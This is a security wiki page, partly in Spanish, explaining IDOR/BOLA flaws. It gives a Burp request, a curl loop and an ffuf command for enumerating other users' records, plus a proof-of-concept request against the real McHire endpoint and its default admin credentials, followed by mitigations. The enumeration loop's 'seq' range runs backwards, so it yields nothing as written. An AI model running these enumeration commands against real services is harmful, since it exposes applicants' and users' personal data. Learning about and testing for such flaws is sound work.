# IDOR (Insecure Direct Object Reference)

{{#include ../banners/hacktricks-training.md}}

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece cuando un web o API endpoint revela o acepta un identificador controlado por el usuario que se usa **directamente** para acceder a un objeto interno **sin verificar que el solicitante esté autorizado** para acceder/modificar ese objeto.
La explotación exitosa normalmente permite escalada de privilegios horizontal o vertical, como leer o modificar datos de otros usuarios y, en el peor de los casos, la toma completa de cuentas o la exfiltración masiva de datos.

---
## 1. Identifying Potential IDORs

1. Look for **parameters that reference an object**:
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists.
4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs.
5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR.

### Manipulación manual rápida (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}
```
### Enumeración automatizada (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
### Oráculo de respuesta de error para la enumeración de usuarios/archivos

Cuando un download endpoint acepta tanto un username como un filename (p.ej. `/view.php?username=<u>&file=<f>`), las sutiles diferencias en los mensajes de error a menudo crean un oráculo:

- Non-existent username → "User not found"
- Bad filename but valid extension → "File does not exist" (sometimes also lists available files)
- Bad extension → validation error

Con cualquier authenticated session, puedes fuzz el parámetro username mientras mantienes un filename benigno y filtrar por la cadena "User not found" para descubrir usuarios válidos:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Una vez que se identifican nombres de usuario válidos, solicita archivos específicos directamente (p. ej., `/view.php?username=amanda&file=privacy.odt`). Este patrón con frecuencia conduce a la divulgación no autorizada de los documentos de otros usuarios y a la filtración de credenciales.

---
## 2. Estudio de caso real – McHire Chatbot Platform (2025)

Durante una evaluación del portal de reclutamiento **McHire** impulsado por Paradox.ai se descubrió el siguiente IDOR:

* Endpoint: `PUT /api/lead/cem-xhr`
* Autorización: cookie de sesión de usuario para **cualquier** cuenta de prueba de restaurante
* Parámetro del cuerpo: `{"lead_id": N}` – identificador numérico de 8 dígitos, **secuencial**

Al disminuir `lead_id` el evaluador recuperó la **PII completa** de solicitantes arbitrarios (name, e-mail, phone, address, shift preferences) además de un **JWT** de consumidor que permitió el secuestro de sesión. La enumeración del rango `1 – 64,185,742` expuso aproximadamente **64 million** registros.

Solicitud de prueba de concepto:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Combinado con **default admin credentials** (`123456:123456`) que otorgaban acceso a la cuenta de prueba, la vulnerabilidad resultó en una brecha de datos crítica a nivel de toda la empresa.

---
## 3. Impacto de IDOR / BOLA
* Escalada horizontal – leer/actualizar/eliminar los datos de **otros usuarios**.
* Escalada vertical – un usuario con pocos privilegios obtiene funcionalidad exclusiva de admin.
* Brecha masiva de datos si los identificadores son secuenciales (ej., IDs de solicitantes, facturas).
* Secuestro de cuentas robando tokens o restableciendo contraseñas de otros usuarios.

---
## 4. Mitigaciones & Best Practices
1. **Aplicar autorización a nivel de objeto** en cada petición (`user_id == session.user`).
2. Preferir **identificadores indirectos e impredecibles** (UUIDv4, ULID) en lugar de IDs auto-incrementales.
3. Realizar la autorización **del lado del servidor**, nunca confiar en campos ocultos de formulario o controles de UI.
4. Implementar verificaciones **RBAC / ABAC** en un middleware central.
5. Agregar **rate-limiting & logging** para detectar la enumeración de IDs.
6. Realizar pruebas de seguridad en cada nuevo endpoint (unit, integration, and DAST).

---
## 5. Herramientas
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).



## Referencias
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}